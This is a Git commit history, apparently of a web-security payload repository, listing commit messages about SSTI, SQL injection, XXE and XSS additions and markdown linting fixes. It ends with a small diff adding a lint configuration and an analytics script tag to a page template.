270 Commits
4.0 ... master

Author SHA1 Message Date
8b786b7303 Обновить README.md
Some checks failed
check-markdown / lint (push) Has been cancelled
mkdocs-build / deploy (push) Has been cancelled
2026-04-18 17:37:05 +00:00
Swissky
3ca2ecee21 GraphQL update 2026-04-18 17:45:41 +02:00
Swissky
3b069f0334 PTH Web Archive 2026-04-08 23:16:30 +02:00
Swissky
a41ae2c572 Python Path File 2026-04-08 22:56:27 +02:00
Swissky
f695b0a527 Merge pull request #824 from noraj/patch-2
XXE zip recompression tips
2026-03-16 14:57:15 +01:00
Alexandre ZANNI
8847706138 XXE zip recompression tips 2026-03-16 11:49:21 +01:00
Swissky
497fbe925b Archive external reference links via Wayback Machine
Replace direct URLs in Markdown references with their
web.archive.org equivalents to prevent link rot.
2026-03-09 13:02:28 +01:00
Swissky
769b300f4f SQLi Auth Bypass fix example 2026-03-04 19:18:40 +01:00
Swissky
d8e749cdc5 Fix title error 2026-03-02 18:23:58 +01:00
Swissky
ae9c45f474 Fix markdown linter 2026-03-02 18:07:33 +01:00
Swissky
2e32d27e47 Merge pull request #820 from vladko312/master
SSTI and Insecure Deserialization improvements based on the new version of my research
2026-03-02 18:05:30 +01:00
Swissky
b60551efe9 Fix CI/CD markdown 2026-03-02 18:04:20 +01:00
Swissky
3051fc8115 Fix formatting issues in SpEL section of Java.md 2026-03-02 17:58:19 +01:00
Swissky
3c063a8616 Fix formatting for SpEL and OGNL examples in Java.md 2026-03-02 17:57:38 +01:00
Swissky
5c487edc05 Change title to 'Elixir Deserialization' and update content
Updated the title and provided a brief overview of Server-Side Template Injection in Elixir.
2026-03-02 17:52:24 +01:00
Swissky
f99fe06c2f Update Python.md to clarify payload compatibility
Removed note about platform-specific payloads and added information on creating a universal payload using eval.
2026-03-02 17:45:36 +01:00
vladko312
dac581547e SSTI:
- Added Elixir/EEx payloads
- Added OGNL payloads
- Clarified SpEL payloads and details
- Fixed PHP Error-Based payloads
- Added Twig Error-Based payload for CVE-2022-23614
Insecure Deserialization:
- Improved Python payloads
2026-02-22 21:18:54 +03:00
Swissky
10d41d2e7d XS-Leaks 2026-02-16 17:33:43 +01:00
Swissky
0b76ce0737 CSS Injection 2026-02-15 17:52:09 +01:00
Swissky
66ef235835 Merge pull request #818 from HAK3R4LIFE/master
Improve clarity in 2FA bypass documentation
2026-02-02 12:31:27 +01:00
Swissky
019bd50246 Merge pull request #819 from ocnu/patch-typo-fix
Fix small typo in README
2026-02-02 12:30:49 +01:00
ocnu
cc6d580cef docs: fix typo in README
Corrected the spelling of commiting to committing for better readability.
2026-02-01 23:51:39 -06:00
SCPlayz7000
59d03bb7f2 Improve clarity in 2FA bypass documentation
Corrected grammar and phrasing in the 2FA bypass documentation for clarity.
2026-02-01 14:32:56 -06:00
Swissky
50b8eb957f Merge pull request #815 from pgoslatara/actup/update-actions-1768915364
chore: Update outdated GitHub Actions versions
2026-01-21 18:39:35 +01:00
Padraic Slattery
13aaddf0d2 chore: Update outdated GitHub Actions versions 2026-01-20 14:22:44 +01:00
Swissky
a711494a64 Merge pull request #812 from vladko312/master
New SSTI payloads for Error-Based and Boolean-Based techniques
2026-01-03 22:51:40 +01:00
Swissky
08b5c4c868 Unordered list style [Expected: dash; Actual: asterisk] 2026-01-03 22:50:37 +01:00
vladko312
bec6524774 SSTI:
- Fixed NodeJS payloads
2026-01-03 23:19:26 +03:00
vladko312
09a5f07345 SSI, SSTI:
- Improved MarkDown
2026-01-03 22:20:19 +03:00
Vladislav Korchagin
4831e36fb8 Merge branch 'master' into master 2026-01-03 19:06:57 +03:00
Swissky
45661ef925 Merge pull request #809 from HackingRepo/patch-2
Update README with URL parsing examples
2026-01-03 16:57:44 +01:00
Swissky
cd548698eb Reverse Proxy Misconfigurations markdown linting 2026-01-03 16:52:21 +01:00
Swissky
b890ac4c9d Merge pull request #813 from MegaManSec/master
add gixy-next
2026-01-03 16:48:55 +01:00
Swissky
2c2552d1fe Update Gixy-Next link in README.md 2026-01-03 16:48:14 +01:00
vladko312
abbbf2fc95 SSTI:
- Fixed NodeJS payloads
2026-01-03 18:43:24 +03:00
Swissky
d345536ff4 Fix markdown linting 2026-01-03 15:47:05 +01:00
Swissky
41f2f96509 Merge pull request #808 from Brum3ns/master
Updated SSTI with novel obfuscation payloads
2026-01-03 15:44:38 +01:00
Joshua Rogers
bb325561a1 add gixy-next 2026-01-03 23:34:47 +11:00
vladko312
7fb2ff75d7 SSI:
- Added SSTImap to the tools, as it now supports SSI detection and exploitation
SSTI:
- Added description for known detection and exploitation techniques
- Added payloads for universal detection
- Added universal payloads for different languages
- Added Error-Based and Boolean-Based payloads
- Moved SpEL payloads using `T()` to the correct category
- Moved Pug payloads to the correct language and updated info to reflect the actual name
2026-01-03 05:20:04 +03:00
Swissky
bd72827e58 ORM leak lint + crapsecret 2026-01-02 19:46:23 +01:00
RelunSec
c975f61fa0 Fix typo in README regarding URL formatting 2025-12-19 07:48:57 -08:00
RelunSec
09bdd83685 Update README with URL parsing examples
Added examples of URL formats and parser behaviors.
2025-12-18 23:41:37 -08:00
brumens
a957c3f96d Fixed markdown linting 2025-12-15 11:30:06 +01:00
Swissky
39da0328b8 Indicators for deserialization 2025-12-12 11:32:33 +01:00
Swissky
ba62eed782 SQLite extensions 2025-12-07 19:52:51 +01:00
brumens
5f1a39d272 Added author to research reference 2025-12-03 14:09:02 +01:00
brumens
3cf745b90c Added Jinja and Mako obf payloads 2025-12-03 14:07:37 +01:00
brumens
e2ce1c96dc Added Smarty and Twig obf payload 2025-12-03 14:05:41 +01:00
brumens
7ca2ca2a75 Added Groovy and FreeMarker obf payloads 2025-12-03 13:58:49 +01:00
brumens
52daa1d820 Updated SSTI Reference 2025-12-03 13:58:27 +01:00
Swissky
ca50df2336 Fix markdown linting 2025-11-15 17:36:38 +01:00
Swissky
80a6b5e1d0 Merge pull request #806 from Reelix/patch-1
Fixed missing {FILE} placeholders
2025-11-15 11:34:17 -05:00
Swissky
e653e7c67b Merge pull request #802 from Aaditya-Chunekar/patch-1
hacktoberfest - Update YouTube.md with new resources
2025-11-15 11:31:35 -05:00
Swissky
24527a5155 Merge pull request #791 from piranhaAD/patch-1
Correcting the  Payload for xxe ssrf
2025-11-15 11:19:05 -05:00
Swissky
832b54fd95 Syntax Highlighting SSTI 2025-11-15 17:11:42 +01:00
Swissky
5c0ee4c6d9 SQL injection hashed password + MSSQL links 2025-11-02 18:21:19 +01:00
Reelix
3359054ecf Fixed missing {FILE} placeholders
The bottom few options were missing the {FILE} placeholders.

This fixes them.
2025-10-31 14:22:13 +02:00
Aaditya
9a08798848 hacktoberfest - Update YouTube.md with new resources
Added LaurieWired and Tib3rius YouTube channels.
2025-10-22 19:44:31 +05:30
Swissky
d49faf9874 Markdown Fix Lint 2025-10-05 18:54:42 +02:00
Swissky
0dc0978853 Brute Force and Rate Limit 2025-10-05 18:51:11 +02:00
Swissky
fc06c0e13b Merge pull request #797 from mbiesiad/master
Update Web Attack Surface.md
2025-10-02 10:40:26 -04:00
Michal Biesiada
ff57c499cc Update Web Attack Surface.md
Missing path added /blob/main/docs/
2025-10-02 10:50:07 +02:00
Swissky
8cf79275a6 Merge pull request #795 from cclauss/patch-1
Upgrade GitHub Actions
2025-10-01 12:47:14 -04:00
Christian Clauss
6409004743 Update GitHub Actions 2025-10-01 14:52:10 +02:00
Christian Clauss
707c06272f Upgrade GitHub Actions
* https://github.com/actions/checkout/releases
* https://github.com/actions/setup-python/releases
2025-10-01 14:49:34 +02:00
Swissky
bd5b09a85b Merge pull request #793 from DivInstance/chore/mkdocs-edit-link-and-readme-polish
chore(docs): fix MkDocs edit link and polish README grammar
2025-09-19 08:48:05 -04:00
Divyaranjan Sahoo
3be0e164ab chore(docs): fix MkDocs edit link and polish README grammar
- Use edit/master so 'Edit this page' opens the editor
- Standardize punctuation and YouTube casing
2025-09-19 15:13:54 +05:30
Swissky
ebf2b0d912 Merge pull request #792 from pranjalpokharel7/master
Remove broken link for SQLite
2025-09-13 08:15:02 -04:00
pranjalpokharel7
27e6c2aa8d Replace broken link for SQLite with archive link 2025-09-13 07:51:58 +05:45
piranha
aa85b80ace correction of xxe ssrf payload
remove the % from the payload as it's not a parametrized entity
2025-09-09 19:16:45 +01:00
Swissky
b391de2117 Lint fix 2025-08-14 11:09:47 +02:00
Swissky
72df15e2e8 Merge pull request #786 from n3rada/master
Add Velocity SSTI payloads with base64 command support
2025-08-13 20:39:34 +02:00
n3rada
f3cdd4ff0c fix(markdown): add blank lines around fenced code blocks to satisfy MD031 2025-08-13 18:29:00 +00:00
n3rada
d04a38a67c refactor(template): rename Velocity payload variables for clarity 2025-08-13 18:14:47 +00:00
Swissky
2f9f87bfae Merge pull request #777 from youknowwho-98/patch-1
Update NoSQL.txt
2025-08-13 16:07:06 +02:00
Swissky
0c5b7c3953 Merge pull request #774 from 1PingSun/master
2025-04-04 Add Detecting Web Cache Deception Content
2025-08-13 16:04:43 +02:00
Swissky
ad79082eb4 Merge pull request #784 from HackingRepo/patch-2
Update README.md
2025-08-13 12:54:25 +02:00
Swissky
cc670aa544 SQL injection - Fix linting errors 2025-08-13 12:07:35 +02:00
Swissky
b10a11041c Merge pull request #790 from KadirArslan/master
Improved Prompt Injection Section with Missing Content
2025-08-13 12:07:13 +02:00
Swissky
81b3f85dc4 Merge pull request #776 from m14r41/patch-1
enhancement: clarified and expanded details on Second-Order SQL Injec…
2025-08-13 11:52:43 +02:00
Swissky
6cb0048e22 Update README.md 2025-08-13 11:52:26 +02:00
Swissky
5e0b097983 Virtual Hosts + Encoding and Transformations 2025-08-12 20:59:36 +02:00
Kadir Arslan
cc96a3566d Update README.md 2025-08-06 22:30:25 +03:00
Kadir Arslan
415bdac2c2 Update README.md 2025-08-06 21:50:33 +03:00
Swissky
cd15d85969 Rounding Errors 2025-08-03 16:32:40 +02:00
Swissky
178949896f Merge pull request #787 from clemensGooooo/master
Fixed several typos
2025-07-29 19:09:56 +02:00
clemensGooooo
01a6299b08 Fix several typos 2025-07-29 15:34:52 +02:00
Swissky
ed28a07244 Fix typo in table header 2025-07-26 22:58:51 +02:00
Swissky
7faf14a960 SQL injection - Generic Bypass (Space) 2025-07-26 22:54:45 +02:00
Swissky
ac73b0c619 PDO Prepared Statements 2025-07-26 15:21:23 +02:00
Swissky
61fa0020c5 Reverse Proxy Misconfigurations 2025-07-24 14:06:52 +02:00
n3rada
edbf3386a3 Update Java.md 2025-07-21 18:33:56 +02:00
Swissky
3709358334 Sponsors table with logo and description 2025-07-19 11:05:38 +02:00
Swissky
d1b616812b Sponsors table with logo and description 2025-07-19 11:00:03 +02:00
Swissky
b9af758141 Fix markdownlint configuration 2025-07-18 14:34:03 +02:00
Swissky
aaf084e7f1 Adding SerpApi sponsor 2025-07-18 14:31:46 +02:00
Anonymous ethc4
2c1d30dd1e Update README.md 2025-07-16 11:20:25 -04:00
Swissky
dc33caaceb Merge pull request #781 from stenzzor/patch-1
Update README.md
2025-07-10 10:26:03 +02:00
stën
d168dedaa3 Update README.md
Removed spelling mistake.
2025-07-09 19:04:51 +04:00
Swissky
3fd2f8c481 Headless Browser + JSON Jackson 2025-07-02 22:23:13 +02:00
Swissky
aaf6bdf394 Merge pull request #779 from florianamette/patch-1
Add support for `||` (concatenation) operator in PostgreSQL for time based SQL injection
2025-05-22 22:32:26 +02:00
F4K
eca827005a Update Generic_TimeBased.txt
Add support for `||` (concatenation) operator in PostgreSQL
2025-05-22 11:44:06 +02:00
Swissky
bb8cab1ea3 Update Source Code Management Links 2025-05-10 22:04:38 +02:00
You Know Who
bd264beebc Update NoSQL.txt 2025-04-21 16:59:08 +07:00
Madhurendra kumar
8ac78d12fa enhancement: clarified and expanded details on Second-Order SQL Injection.
I improved the existing details on Second-Order SQL Injection by providing a clear, concise, and comprehensive explanation of this rare vulnerability.
2025-04-11 02:11:53 +05:30
Swissky
7eb75cead5 SQLmap Custom Tamper and Preprocess Scripts 2025-04-09 11:14:37 +02:00
1Ping
5bc06fee7c 2025-04-04 Add Detecting Web Cache Deception Content 2025-04-04 00:20:27 +08:00
Swissky
8379e65ce0 NoSQL injection WAF 2025-04-01 20:22:10 +02:00
Swissky
f344fa50a6 Fix typo 2 2025-03-27 11:24:46 +01:00
Swissky
ab7e7390dc Fix broken links 2025-03-27 11:16:36 +01:00
Swissky
f3be75a4da Markdown Linting - Improving rules 2025-03-26 22:51:26 +01:00
Swissky
2611dd1ba3 Markdown Linting - SQL, Juggling, XSLT, XSS, Zip 2025-03-26 20:53:03 +01:00
Swissky
bad860d79d Markdown Linting - SSI, SSRF, SSTI 2025-03-26 17:49:42 +01:00
Swissky
6963d1a21c Markdown Linting - Mass Assignment, NoSQL, OAuth, Redirect 2025-03-26 17:06:01 +01:00
Swissky
5f244f4437 Markdown Linting - Source Code, JWT, RMI, LDAP, LaTeX 2025-03-26 16:48:22 +01:00
Swissky
d174593b4f Markdown Linting - Parameters, Browsers, Deserialization Randomness 2025-03-26 16:33:07 +01:00
Swissky
e03cdfff14 Markdown Linting - CSV, CVE, DBS, LFI, GWT, GraphQL 2025-03-26 16:22:53 +01:00
Swissky
e6eb436eb1 Markdown Linting - CORS, CRLF, CSPT, CSRF, Command Injection 2025-03-24 16:52:42 +01:00
Swissky
9465e12b76 Markdown Linting - API, Business Logic, Clickjacking 2025-03-24 16:16:58 +01:00
Swissky
48d8dc5578 Markdown Linting - Methodology 2025-03-24 16:00:54 +01:00
Swissky
e25a025e13 DB2 Command Execution with QSYS2.QCMDEXC 2025-03-24 15:42:22 +01:00
Swissky
bc6efd695b Prompt Injection Update 2025-03-17 19:50:19 +01:00
hacker
04d498aa3f XXE - Fix typo 2025-03-17 17:02:00 +01:00
Swissky
df8c196567 Merge pull request #772 from Diebbo/patch-1
FIX broken link
2025-03-13 10:49:21 +01:00
Diego Barbieri
bc4eb6dcb5 Update README.md 2025-03-13 09:53:28 +01:00
hacker
64b36854a7 External Variable Modification 2025-03-07 12:15:00 +01:00
Swissky
0e93caed81 Merge pull request #769 from DoongPark/fix-parentheses
Fix extra parentheses in MySQL Injection.md
2025-02-19 21:08:47 +01:00
Donghyeok Park
37046977fd Fix misplaced parentheses in MySQL Injection.md 2025-02-20 00:48:45 +09:00
Swissky
dd946bedc0 Merge pull request #768 from sehraramiz/sehraramiz-patch-xxe-1
Add missing -r flag for xxe excel file rebuilding with zip command
2025-02-18 21:49:42 +01:00
Mohsen Barzegar
ad13a3c9e0 Add missing -r flag for xxe excel file rebuilding with zip command
-r flag is needed to include sub directories in the final archive
2025-02-16 12:56:20 +03:30
Swissky
7e64eda3bf Merge pull request #765 from Tednoob17/master
Update YOUTUBE.md
2025-02-09 21:37:19 +01:00
Swissky
0f30c6b846 Update YOUTUBE.md - Fix markdown style 2025-02-09 21:27:49 +01:00
Swissky
662622afa4 Merge pull request #759 from noraj/patch-1
csv injection: google sheets formulas
2025-02-09 21:01:24 +01:00
hacker
c3c4b7987b PHP tricks and webshells 2025-02-09 20:24:21 +01:00
Jekyll
df7e940df1 Update YOUTUBE.md
Add some links like : vulnerability researcher, content creator, etc ..
2025-02-04 18:33:15 +01:00
Swissky
fb349a5737 UUID_TO_BIN SQLi Error Based 2025-01-25 11:49:15 +01:00
Swissky
4f7201d9aa Lightyear tool - PHP wrappers 2025-01-22 16:38:16 +01:00
Swissky
ddad93a1d2 System prompt + Arg injection + Disclaimer 2025-01-14 22:26:29 +01:00
Alexandre ZANNI
0aaad269e2 csv injection: google sheets formulas 2024-12-04 17:11:36 +01:00
Swissky
38716075f0 Books update 2024-12-01 12:52:11 +01:00
Swissky
e42edaab74 Learning and Socials updates 2024-12-01 12:18:45 +01:00
Swissky
32d9f7550d XPATH + XSS + XXE + XSLT 2024-11-30 21:14:51 +01:00
Swissky
8c09568cb2 Regex + SSRF 2024-11-30 19:48:32 +01:00
Swissky
8b27a177c2 Indirect Prompt Injection 2024-11-29 23:39:17 +01:00
Swissky
29f46934ac NoSQL + Open Redirect 2024-11-29 22:08:58 +01:00
Swissky
6795bee1c4 LDAP + LaTeX + Management Interface 2024-11-29 18:09:59 +01:00
Swissky
801aecb2ba GraphQL + HPP 2024-11-29 13:49:54 +01:00
Swissky
e6466b4cf9 LFI/RFI pages 2024-11-29 11:52:51 +01:00
Swissky
a16f8a6de1 Path Traversal + CSV Injection 2024-11-28 21:36:01 +01:00
Swissky
57f7c8ddad ViewState Java 2024-11-27 15:29:33 +01:00
Swissky
9425cec068 Handlebars - Basic Injection 2024-11-25 18:42:36 +01:00
Swissky
6bfad6a84d SSTI - SpEL 2024-11-25 13:56:29 +01:00
Swissky
35109b4154 CORS and CRLF updates 2024-11-24 13:44:55 +01:00
Swissky
4e03772f4a API Key rework 2024-11-18 18:26:58 +01:00
Swissky
0108d01571 Edge Side Inclusion 2024-11-18 16:51:28 +01:00
Swissky
98cfc9ce8c XXE Error Based Local DTD 2024-11-18 12:41:35 +01:00
Swissky
846706b87d XXE on JSON Endpoints 2024-11-18 10:43:39 +01:00
Swissky
9932059563 YAML Deserialization 2024-11-17 20:48:10 +01:00
Swissky
b98f8ca587 DB2 Injection updates 2024-11-17 18:37:07 +01:00
Swissky
3c5bab0338 SQL - File Manipulation and Error Based Injection 2024-11-16 18:49:01 +01:00
Swissky
9a908a15d2 MSSQL, OracleSQL, PostgreSQL Substring Equivalent 2024-11-16 15:35:43 +01:00
Swissky
67af38aa4e SQL Injections - Updates for MSSQL, Oracle, PostgreSQL 2024-11-15 23:56:04 +01:00
Swissky
f57d0813ca SQL - MySQL Page Cleanup 2024-11-15 18:42:58 +01:00
Swissky
cde11da0c7 SQL Injection - Methodology 2024-11-15 14:48:58 +01:00
Swissky
8bc33f8bb7 Fix markdown style issues in Account Takeover 2024-11-13 15:30:33 +01:00
Swissky
a6b3b9dd05 CONTRIBUTING page updates - adding rules 2024-11-13 14:24:09 +01:00
Swissky
f333d48960 Fix invalid spaces indents 2024-11-13 14:08:26 +01:00
Swissky
dc349c10c3 Update _template_vuln page 2024-11-13 13:39:19 +01:00
Swissky
d6ce9cd317 Github Action - Markdown Linting for PR 2024-11-13 12:29:42 +01:00
Swissky
118924f291 Challenges added for CRLF, Command Injection, File Inclusion 2024-11-12 19:01:34 +01:00
Swissky
0a5ecc407c Normalize page header for Web Socket, XSLT, XSS, XXE 2024-11-10 21:15:44 +01:00
Swissky
48a4e5c95b Normalize page header for SQLi, Upload, Cache Deception 2024-11-10 20:49:52 +01:00
Swissky
a338b2f12a Normalize page header for SSTI, SAML, SSI 2024-11-10 19:14:16 +01:00
Swissky
1a3e605d64 Normalize page header for JWT, LDAP, LaTeX, OAuth, ORM 2024-11-10 15:28:12 +01:00
Swissky
2304101657 Normalize page header for GraphQL, Deserialization, SCM 2024-11-10 14:37:48 +01:00
Swissky
2deb20a6f1 Normalize page header for CSRF, DNS, DOS, Dependencies 2024-11-10 11:18:46 +01:00
Swissky
d80f73a829 Normalize page header for API, CSPT, CORS, CSRF 2024-11-09 23:01:39 +01:00
Swissky
c82cd6408a Renaming Subdomain Enumeration to Web Attack Surface 2024-11-09 12:38:35 +01:00
Swissky
70fb63a9bf Merge pull request #756 from Fisjkars/patch-1
Add CVE-2023–5123 in CSPT2CSRF real world scenario
2024-11-08 22:20:45 +01:00
Swissky
4f0e6334bd References updated for XSS + page splitted in subcategories 2024-11-08 18:23:43 +01:00
Maxime Escourbiac
5c60cd7b61 Add CVE-2023–5123 in CSPT2CSRF real world scenario 2024-11-08 15:09:08 +01:00
Swissky
37641d2b9e References updated for XPATH, XSLT, XXE, Web Socket 2024-11-07 23:50:30 +01:00
Swissky
b2bb1df9a9 References addded for SQLi, Upload, SSTI, Type Juggling 2024-11-07 20:54:16 +01:00
Swissky
ffa5ea764a Merge pull request #755 from n3rada/patch-1
PostgreSQL privilege list update
2024-11-07 18:42:46 +01:00
Swissky
df8d4d7f27 References updated for SAML, SSI, SSRF 2024-11-07 18:31:21 +01:00
Swissky
9ed40edfca References updated for NoSQL, OAuth, ORM, Prompt, RegEx 2024-11-07 16:20:58 +01:00
n3rada
a590290016 PostgreSQL privilege list update 2024-11-07 15:12:58 +01:00
Swissky
b80b72d3a3 References updated for JWT, RMI, LDAP, LaTeX 2024-11-07 14:50:52 +01:00
Swissky
ccffaa5019 References updated for IDOR, Radomness and SCM 2024-11-07 12:17:38 +01:00
Swissky
7e390265a0 References added for GWT, GraphQL, HTTP, Headless 2024-11-06 23:32:18 +01:00
Swissky
e47391b12b References updated for Dom Clobbering, File Inclusion 2024-11-05 17:29:15 +01:00
Swissky
e138308d3d References updated for CORS CRLF CSV 2024-11-04 18:00:07 +01:00
Swissky
4dc409d31e References updated for API, Business, Clickjacking, CSPT, Command
Injection
2024-11-04 16:35:24 +01:00
Swissky
138fbd97f9 Account Takeover References 2024-11-03 21:22:14 +01:00
Swissky
21dfd91180 SSTI references updates 2024-11-03 20:54:01 +01:00
Swissky
51fe542992 nested_indent in mkdocs 2024-11-03 17:36:19 +01:00
Swissky
ff88aa1f45 Fix nested lists 2024-11-03 17:10:52 +01:00
Swissky
a5de8cf062 SQL injections references updates 2024-11-03 14:06:53 +01:00
Swissky
944fe0db7b SQLmap tips moved from SQL README to their own page 2024-11-02 22:47:30 +01:00
Swissky
d77ef2c4fc Templating Libraries Tables 2024-11-02 17:42:18 +01:00
Swissky
b29edefe09 Merge pull request #732 from Xhoenix/master
added bypass techniques
2024-11-02 15:21:38 +01:00
Swissky
11d1704f42 Merge pull request #730 from Horlad/master
Adding r3dir tool to SSRF README.md
2024-11-02 15:20:09 +01:00
Swissky
6e77f624f2 Merge pull request #728 from isacaya/add_xss_bypass
Add a few XSS filter bypass cases
2024-11-02 15:16:46 +01:00
Swissky
9866fef5b4 Bypass CSP, technique from #715 2024-11-02 12:26:45 +01:00
Swissky
d0c4454ef2 Merge pull request #734 from R4yGM/patch-1
Fixed not working example
2024-11-02 12:11:21 +01:00
Swissky
88ab5228b4 Merge pull request #737 from omranisecurity/master
Add CorsOne to the Repository
2024-11-02 12:05:21 +01:00
Swissky
a4277d5e5e Merge pull request #738 from NoPurposeInLife/patch-1
Update deep_traversal.txt
2024-11-02 12:00:20 +01:00
Swissky
eb4795047b Merge pull request #746 from TRKBKR/master
Added oncontentvisibilityautostatechange to XSS in hidden input
2024-11-02 11:44:08 +01:00
Swissky
89c4098dc2 Merge pull request #754 from noraj/patch-2
SSTI: engine detection
2024-11-02 11:42:45 +01:00
Swissky
7efac5129b Merge pull request #742 from hansmach1ne/master
Add LFImap tool
2024-11-02 11:39:31 +01:00
Swissky
e3877d1979 Merge pull request #739 from FatEarthler/master
added 'xss_alert_identifiable.txt'
2024-11-02 11:38:30 +01:00
Swissky
acb509d436 SVG XSS fix typo from #729 + files 2024-11-02 11:27:26 +01:00
Swissky
53ba2932ab Merge pull request #729 from noraj/patch-1
XSS in SVG: more examples + nesting
2024-11-02 11:21:27 +01:00
Alexandre ZANNI
eca0bd1b36 SSTI: engine detection 2024-11-01 22:20:50 +01:00
Swissky
6b8ca37452 Merge branch 'master' of https://github.com/swisskyrepo/PayloadsAllTheThings 2024-11-01 21:00:34 +01:00
Swissky
690c7764eb Moving CICD to IATT repository 2024-11-01 21:00:03 +01:00
Swissky
f11771b866 Merge pull request #753 from NoPurposeInLife/patch-2
Update MySQL Injection.md
2024-10-31 21:23:22 +01:00
NoPurposeInLife
873ac0e727 Update MySQL Injection.md
Fixed row/data extraction from MySQL Error Based - Extractvalue Function
2024-10-31 11:25:34 +08:00
ⵟⴰⵕⵉⴽ ⴱⴰⴽⵉⵕ
223d6183eb Merge branch 'swisskyrepo:master' into master 2024-10-30 16:51:42 +00:00
Swissky
ca41c9e848 Merge pull request #752 from noraj/patch-2 2024-10-28 18:00:24 +01:00
Swissky
0f621e67d1 SQLmap reduce requests 2024-10-28 17:59:33 +01:00
Swissky
98db867333 Merge pull request #752 from noraj/patch-2
XXE in docx/xlsx: important warning on recompression
2024-10-28 17:03:39 +01:00
Alexandre ZANNI
6cbf58e5b0 XXE in docx/xlsx: important warning on recompression 2024-10-28 16:18:35 +01:00
Swissky
6ee918b060 SSTI update 2024-10-23 14:17:18 +02:00
Swissky
7ec97bb77e SSTI - Pages splitted by technology 2024-10-23 13:59:18 +02:00
Swissky
25a664625d Denial of Service 2024-10-23 10:06:45 +02:00
ⵟⴰⵕⵉⴽ ⴱⴰⴽⵉⵕ
faeee7270a Update README.md
addedd contentvisibilityautostatechange_event for hidden input
2024-10-13 23:23:07 +01:00
Swissky
37f0740d07 Merge pull request #744 from Swastik-Swarup-Dash/typo1
fix:Typo_Race-Condition
2024-10-03 14:40:06 +02:00
Swastik-Swarup-Dash
bd7bd812ae fix:Typo_Race-Condition 2024-10-03 15:23:23 +05:30
Swissky
b57475f34f Moving Kubernetes from PATT to IATT 2024-10-03 11:35:54 +02:00
Swissky
8ececca282 Merge pull request #743 from Swastik-Swarup-Dash/typo
fix:Typo_Fix namespaces
2024-10-02 16:31:09 +02:00
Swastik-Swarup-Dash
2fa9441e37 fix:Typo_Fix namespaces 2024-10-02 17:02:52 +05:30
Mach1ne
c4a19f8a2a Add LFImap tool 2024-09-30 22:49:44 +02:00
Xhoenix
04eb1eb12d Update README.md
added more payloads
2024-09-17 22:29:37 +05:30
Swissky
d5a6811193 Fix typos 2024-09-16 18:05:54 +02:00
Swissky
d90c73c7ef Moving S3 to another repository 2024-09-15 20:48:07 +02:00
FatEarthler
975dde665a added 'xss_alert_identifiable.txt'
same as 'xss_alert.txt', but with identifiable payloads (e.g. alert(1992) instead of just alert(1)). This is useful in case of stored xss, when you inject all the payloads and then need to identify which payloads were successful.
2024-09-14 22:14:45 +02:00
Swissky
c5802aad67 Fix uppercase links and anchor 2024-09-13 22:43:18 +02:00
Swissky
541d89be64 Fix broken pictures 2024-09-13 21:59:29 +02:00
Swissky
3eae8d7458 Fix typo and structure 2024-09-11 17:07:51 +02:00
NoPurposeInLife
6602d48fad Update deep_traversal.txt 2024-09-10 16:40:28 +08:00
Swissky
99f3557415 Randomness mt_rand + Analytics 2024-09-06 21:59:41 +02:00
Xhoenix
77f83c18b3 update quote evasion payloads 2024-09-06 19:09:46 +05:30
Mohammad Reza Omrani
d75e4fa525 Update README.md
Add CorsOne Tool on CORS Misconfiguration page
2024-09-03 13:08:02 +03:30
Swissky
1dae291696 IIS MachineKeys + CI/CD + CSPT + ORM leak 2024-08-26 11:27:47 +02:00
R4yan
0aac7e8267 Update README.md 2024-07-28 21:16:30 +02:00
Xhoenix
80707e805b added bypass techniques 2024-07-25 11:57:43 +05:30
Xhoenix
1a475b6e1d added bypass techniques 2024-07-15 11:58:02 +05:30
Horlad
b521dedb24 Adding r3dir tool to SSRF README.md 2024-06-27 17:01:41 +02:00
Horlad
4cf17a3fab Update SSRF with redirect examples using r3dir README.md 2024-06-27 16:57:45 +02:00
Alexandre ZANNI
8e05a2dd2a XSS in SVG: more examples + nesting 2024-06-19 14:54:19 +02:00
isacaya
ca3ab6eb95 Add a few XSS filter bypass cases 2024-06-19 04:21:24 +09:00
Swissky
314e4da963 SSRF DNS AXFR + LFI PHAR payloads + LFI iconv 2024-06-16 21:17:42 +02:00
Swissky
7e4a38a1a5 Merge pull request #725 from masquerad3r/master
Create port_swigger_xss_cheatsheet_event_handlers.txt
2024-06-06 17:52:33 +02:00
masquerad3r
eca067dd7e Create port_swigger_xss_cheatsheet_event_handlers.txt
Updated list of event handlers taken from https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#event-handlers.

Useful when the context of reflection is an HTML attribute and one quickly wants to check which attributes are reflected unfiltered by the target application.
2024-06-06 10:46:13 +02:00
Swissky
c34a2bac15 WAF bypass moved to a separate page 2024-06-03 09:55:29 +02:00
Swissky
2e73069238 XSS Tel URI 2024-06-03 09:37:24 +02:00
Swissky
6d3fef0df3 Merge pull request #723 from cydave/master
Add additional XSS payload in email addresses RFC5322
2024-06-02 11:25:45 +02:00
Swissky
cb69cecd11 Merge pull request #721 from MarkCyber/master
DBMS Identification Via Error
2024-06-02 11:23:13 +02:00
Swissky
25c94f809a Uniqid + reset-tolkien and sandwich attack 2024-05-31 16:31:23 +02:00
dave
fcf69f8226 Add additional XSS payload in email addresses RFC5322 2024-05-31 13:27:32 +02:00
Swissky
b5251a673f XSLT payloads + Headless Browser 2024-05-31 00:07:21 +02:00
Swissky
ded1d95735 ASP Cookieless + ReDOS backtrack 2024-05-29 23:23:51 +02:00
Swissky
67adf75bc2 CSP updates + Indirect Prompt Injection 2024-05-29 15:32:58 +02:00
Mark
c3af630e1d Update README.md 2024-05-26 10:40:54 -04:00
Mark
867f243100 Update README.md 2024-05-26 10:32:01 -04:00
Swissky
f723bcbf8a Merge pull request #718 from idealphase/master
Update Ruby.md
2024-05-05 13:08:50 +02:00
Swissky
670b301b1c Merge pull request #717 from nojanath/master
Fix link to SecLists/content-type.txt
2024-05-05 13:07:57 +02:00
idealphase
33d9e24bed Update Ruby.md
Change from the invalid 404 URL to the valid one. (https://pentesterlab.com/exercises/ruby_ugadget/course)
2024-05-05 16:16:36 +07:00
Jonathan Thompson
7a68102a3c Fix link to SecLists/content-type.txt 2024-05-04 11:12:54 -07:00
246 changed files with 15976 additions and 14751 deletions

11
.github/.markdownlint.json vendored Normal file
View File

@@ -0,0 +1,11 @@
{
"default": true,
"MD013": false,
"MD033": false,
"no-duplicate-heading": {
"siblings_only": true
},
"ul-indent": {
"indent": 4
}
}

View File

@@ -14,6 +14,7 @@
</div> </div>
<br> <br>
<script async src="https://static.addtoany.com/menu/page.js"></script> <script async src="https://static.addtoany.com/menu/page.js"></script>
<script defer src="https://cloud.umami.is/script.js" data-website-id="82be5164-e1f3-4cb0-bd22-20e02086d3d4"></script>
</div> </div>
